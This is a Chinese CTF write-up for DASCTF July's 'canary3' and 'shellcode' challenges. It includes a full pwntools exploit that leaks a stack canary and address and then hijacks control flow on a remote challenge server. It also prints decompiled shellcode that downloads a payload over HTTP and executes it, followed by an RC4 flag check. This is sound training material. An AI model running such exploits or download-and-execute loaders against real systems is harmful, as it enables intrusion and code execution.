dasctf July
canary3
最后临死挣扎做了个题目,不亏。
关键就在这个验证,一开始看到有个md5加密,以为是把输入的密码md5后来比较。但是查md5发现那串东西什么也查不出来,然后觉得爆破也是不可能的,给的信息有点少。
然后在尝试输入32个字符后,发现比较时s2字符串的内容变了。才注意到s和s2是相邻的,那么在md5时就会改变s2中的内容。
在尝试不同的字符串后发现s2的变化是固定的,并且第一个字节变成了'\0x00'。
最后试出输入32个c时可以绕过检验。
剩下的就是泄露canary和程序基址了,最后再跳转到后门函数。
from pwn import * context.log_level='debug' elf=ELF('canary3') #p=process('./canary3') p=remote('node4.buuoj.cn',27154) p.recvuntil('username: ') p.send('admin') p.recvuntil('password: ') #gdb.attach(p) py='c'*32 p.send(py) p.sendlineafter('exit\n','2') p.recvuntil('input:\n') p.send('a'*25) #gdb.attach(p) p.sendlineafter('exit\n','1') p.recvuntil('a'*25) can=u64(p.recv(7).rjust(8,'\0')) print hex(can) libc=u64(p.recv(6).ljust(8,'\0'))-0x2530 print hex(libc) p.sendlineafter('exit\n','2') p.recvuntil('input:\n') py='a'*24+p64(can)+p64(0)+p64(libc+0x239f) p.send(py) p.sendlineafter('exit\n','3') p.interactive()
复现
shellcode
题目给了3个东西,一个golang写的part1,一个shellcode的part2,一个用于加载shellcode并运行的part3。还有一个用于启动的批处理文件main.bat。
main.bat
@echo off mode con cols=150 lines=40 echo _____ _____ _____ _____ _____ echo /\ \ /\ \ /\ \ /\ \ /\ \ echo /::\ \ /::\ \ /::\ \ /::\ \ /::\ \ echo /::::\ \ /::::\ \ /::::\ \ \:::\ \ /::::\ \ echo /::::::\ \ /::::::\ \ /::::::\ \ \:::\ \ /::::::\ \ echo /:::/\:::\ \ /:::/\:::\ \ /:::/\:::\ \ \:::\ \ /:::/\:::\ \ echo /:::/ \:::\ \ /:::/__\:::\ \ /:::/ \:::\ \ \:::\ \ /:::/__\:::\ \ echo /:::/ \:::\ \ /::::\ \:::\ \ /:::/ \:::\ \ /::::\ \ /::::\ \:::\ \ echo /:::/ / \:::\ \ /::::::\ \:::\ \ /:::/ / \:::\ \ /::::::\ \ /::::::\ \:::\ \ echo /:::/ / \:::\ \ /:::/\:::\ \:::\ ___\ /:::/ / \:::\ \ /:::/\:::\ \ /:::/\:::\ \:::\ \ echo /:::/____/ \:::\____\/:::/__\:::\ \:::l l/:::/____/ \:::\____\ /:::/ \:::\____\/:::/ \:::\ \:::\____\ echo \:::\ \ \::/ /\:::\ \:::\ /:::l____l\:::\ \ \::/ / /:::/ \::/ /\::/ \:::\ \::/ / echo \:::\ \ \/____/ \:::\ \:::\/:::/ / \:::\ \ \/____/ /:::/ / \/____/ \/____/ \:::\ \/____/ echo \:::\ \ \:::\ \::::::/ / \:::\ \ /:::/ / \:::\ \ echo \:::\ \ \:::\ \::::/ / \:::\ \ /:::/ / \:::\____\ echo \:::\ \ \:::\ /:::/ / \:::\ \ \::/ / \::/ / echo \:::\ \ \:::\/:::/ / \:::\ \ \/____/ \/____/ echo \:::\ \ \::::::/ / \:::\ \ echo \:::\____\ \::::/ / \:::\____\ echo \::/ / \::/____/ \::/ / echo \/____/ ~~ \/____/ set /p FLAG=please input your flag: start /MIN part1.exe echo checking... sleep 2 && part3 taskkill /im part1.exe
大概意思是先运行part1,再运行part3。
part1的golang没怎么看明白,直接看part2。
int sub_5() { char v1[8]; // [esp+0h] [ebp-BCh] BYREF int (__stdcall *InternetOpenA)(char *, int, _DWORD, _DWORD, _DWORD); // [esp+8h] [ebp-B4h] void (__stdcall *InternetCloseHandle)(int); // [esp+Ch] [ebp-B0h] int (__stdcall *InternetReadFile)(int, unsigned int, int, int *); // [esp+10h] [ebp-ACh] int (__stdcall *virtualalloc)(_DWORD, int, int, int); // [esp+14h] [ebp-A8h] void (__stdcall *HttpSendRequest)(int, _DWORD, _DWORD, _DWORD, _DWORD); // [esp+18h] [ebp-A4h] int (__stdcall *InternetConnectA)(int, char *, int, _DWORD, _DWORD, int, _DWORD, _DWORD); // [esp+20h] [ebp-9Ch] int (__stdcall *HttpOpenRequest)(int, char *, char *, char *, _DWORD, _DWORD, int, _DWORD); // [esp+24h] [ebp-98h] int v9; // [esp+28h] [ebp-94h] int (*v10)(void); // [esp+2Ch] [ebp-90h] int v11; // [esp+30h] [ebp-8Ch] int v12; // [esp+34h] [ebp-88h] int v13; // [esp+38h] [ebp-84h] int v14; // [esp+3Ch] [ebp-80h] char v15[16]; // [esp+40h] [ebp-7Ch] BYREF char v16[8]; // [esp+50h] [ebp-6Ch] BYREF int v17; // [esp+58h] [ebp-64h] int v18; // [esp+5Ch] [ebp-60h] BYREF char v19[4]; // [esp+60h] [ebp-5Ch] BYREF char v20[40]; // [esp+64h] [ebp-58h] BYREF char v21[16]; // [esp+8Ch] [ebp-30h] BYREF char v22[12]; // [esp+9Ch] [ebp-20h] BYREF char v23[12]; // [esp+A8h] [ebp-14h] BYREF unsigned int v24; // [esp+B4h] [ebp-8h] char v25[4]; // [esp+B8h] [ebp-4h] BYREF sub_480(v1); strcpy(v15, "Hello GuiShou"); strcpy(v19, "Tip"); v11 = virtualalloc(0, 0x400000, 4096, 64); v10 = virtualalloc(0, 0x400000, 4096, 64); v9 = 0x4000000; strcpy(v22, "127.0.0.1"); strcpy(v16, "8080"); strcpy(v25, "GET"); v21[0] = '/'; v21[1] = 's'; v21[2] = 'h'; v21[3] = 'e'; v21[4] = 'l'; v21[5] = 'l'; v21[6] = '/'; v21[7] = 'v'; v21[8] = 'o'; v21[9] = 'i'; v21[10] = 'd'; v21[11] = '\r'; v21[12] = '\n'; v21[13] = 0; strcpy(v20, "Mozilla/5.0 (Windows NT 6.1; rv:11.0)"); strcpy(v23, "HTTP/1.0"); v14 = 1; v18 = -1; v24 = 0; v12 = InternetOpenA(v20, 1, 0, 0, 0); v13 = InternetConnectA(v12, v22, 8080, 0, 0, 3, 0, 0); v17 = HttpOpenRequest(v13, v25, v21, v23, 0, 0, v9, 0); HttpSendRequest(v17, 0, 0, 0, 0); while ( v14 && v18 ) { v14 = InternetReadFile(v17, v24 + v11, 4096, &v18); v24 += v18; } InternetCloseHandle(v17); InternetCloseHandle(v13); InternetCloseHandle(v12); sub_59F(v11, v24, v10); return v10(); }
这个一开始没看明白,看了别人的WP说是开了一个http的服务,绑定8080端口,接收数据。
动态调试part3。
这个call 750480用于获取需要使用的函数的地址。
分别有InternetOpenA,InternetCloseHandle,InternetReadFile,VirtualAlloc,HttpSendRequestA,Sleep,InternetConnectA,HttpOpenRequest,MessageBoxA。
又有一段类似shellcode的东西,dump下来分析。
int sub_5() { int result; // eax char v1[4]; // [esp+0h] [ebp-C0h] BYREF int (__stdcall *v2)(_DWORD, char *, _DWORD, int); // [esp+4h] [ebp-BCh] void (__stdcall *v3)(char *, char *, int); // [esp+28h] [ebp-98h] char v4[35]; // [esp+2Ch] [ebp-94h] char v5[3]; // [esp+4Fh] [ebp-71h] BYREF char v6[44]; // [esp+54h] [ebp-6Ch] BYREF char v7[44]; // [esp+80h] [ebp-40h] BYREF char v8[8]; // [esp+ACh] [ebp-14h] BYREF char v9[8]; // [esp+B4h] [ebp-Ch] BYREF int i; // [esp+BCh] [ebp-4h] sub_48A(v1); v7[0] = 0; v7[1] = 0; v7[2] = 0; v7[3] = 0; v7[4] = 0; v7[5] = 0; v7[6] = 0; v7[7] = 0; v7[8] = 0; v7[9] = 0; v7[10] = 0; v7[11] = 0; v7[12] = 0; v7[13] = 0; v7[14] = 0; v7[15] = 0; v7[16] = 0; v7[17] = 0; v7[18] = 0; v7[19] = 0; v7[20] = 0; v7[21] = 0; v7[22] = 0; v7[23] = 0; v7[24] = 0; v7[25] = 0; v7[26] = 0; v7[27] = 0; v7[28] = 0; v7[29] = 0; v7[30] = 0; v7[31] = 0; v7[32] = 0; v7[33] = 0; v7[34] = 0; v7[35] = 0; v7[36] = 0; v7[37] = 0; v7[38] = 0; v7[39] = 0; v7[40] = 0; v7[41] = 0; v7[42] = 0; v7[43] = 0; strcpy(v9, "FLAG"); v3(v9, v7, 44); v6[0] = 0; v6[1] = 0; v6[2] = 0; v6[3] = 0; v6[4] = 0; v6[5] = 0; v6[6] = 0; v6[7] = 0; v6[8] = 0; v6[9] = 0; v6[10] = 0; v6[11] = 0; v6[12] = 0; v6[13] = 0; v6[14] = 0; v6[15] = 0; v6[16] = 0; v6[17] = 0; v6[18] = 0; v6[19] = 0; v6[20] = 0; v6[21] = 0; v6[22] = 0; v6[23] = 0; v6[24] = 0; v6[25] = 0; v6[26] = 0; v6[27] = 0; v6[28] = 0; v6[29] = 0; v6[30] = 0; v6[31] = 0; v6[32] = 0; v6[33] = 0; v6[34] = 0; v6[35] = 0; v6[36] = 0; v6[37] = 0; v6[38] = 0; v6[39] = 0; v6[40] = 0; v6[41] = 0; v6[42] = 0; v6[43] = 0; v4[0] = 0x64; v4[1] = 0x2E; v4[2] = 0x90; v4[3] = 0x34; v4[4] = 0x41; v4[5] = 0xD8; v4[6] = 0x24; v4[7] = 0xCB; v4[8] = 0x52; v4[9] = 0x2E; v4[10] = 0xFB; v4[11] = 0x39; v4[12] = 0x3E; v4[13] = 0x91; v4[14] = 7; v4[15] = 0xE; v4[16] = 0x96; v4[17] = 0xF6; v4[18] = 0x3C; v4[19] = 9; v4[20] = 0x9C; v4[21] = 0x21; v4[22] = 0x92; v4[23] = 0x21; v4[24] = 0xB2; v4[25] = 0xCC; v4[26] = 0x9F; v4[27] = 0x51; v4[28] = 0x48; v4[29] = 0x63; v4[30] = 0x4C; v4[31] = 0x8F; v4[32] = 0x72; v4[33] = 0x5D; v4[34] = 0xBF; qmemcpy(v5, "lQv", sizeof(v5)); sub_5BA(v7, 38, v6); for ( i = 0; i < 38; ++i ) { result = v6[i]; if ( result != v4[i] ) return result; } strcpy(v8, "Correct"); return v2(0, v8, 0, 64); }
这里应该就是验证的地方了。
int __cdecl sub_5BA(int a1, int a2, int a3) { int result; // eax char v4[256]; // [esp+0h] [ebp-124h] int v5; // [esp+100h] [ebp-24h] int v6; // [esp+104h] [ebp-20h] char v7[12]; // [esp+108h] [ebp-1Ch] BYREF int j; // [esp+114h] [ebp-10h] int v9; // [esp+118h] [ebp-Ch] int i; // [esp+11Ch] [ebp-8h] char v11; // [esp+123h] [ebp-1h] strcpy(v7, "golangc2"); v6 = 8; for ( i = 0; i < 256; ++i ) v4[i] = i; v9 = 0; for ( i = 0; i < 256; ++i ) { v9 = (v4[i] + v9 + v7[i % v6]) % 256; v11 = v4[i]; v4[i] = v4[v9]; v4[v9] = v11; } v9 = 0; i = 0; for ( j = 0; ; ++j ) { result = j; if ( j >= a2 ) break; i = (i + 1) % 256; v9 = (v9 + v4[i]) % 256; v11 = v4[i]; v4[i] = v4[v9]; v4[v9] = v11; v5 = (v4[v9] + v4[i]) % 256; v11 = v4[v5]; *(j + a3) = v11 ^ *(j + a1); } return result; }
一个RC4的加密,直接通过调试把密文作为输入来加密就会得到明文。
密文
加密后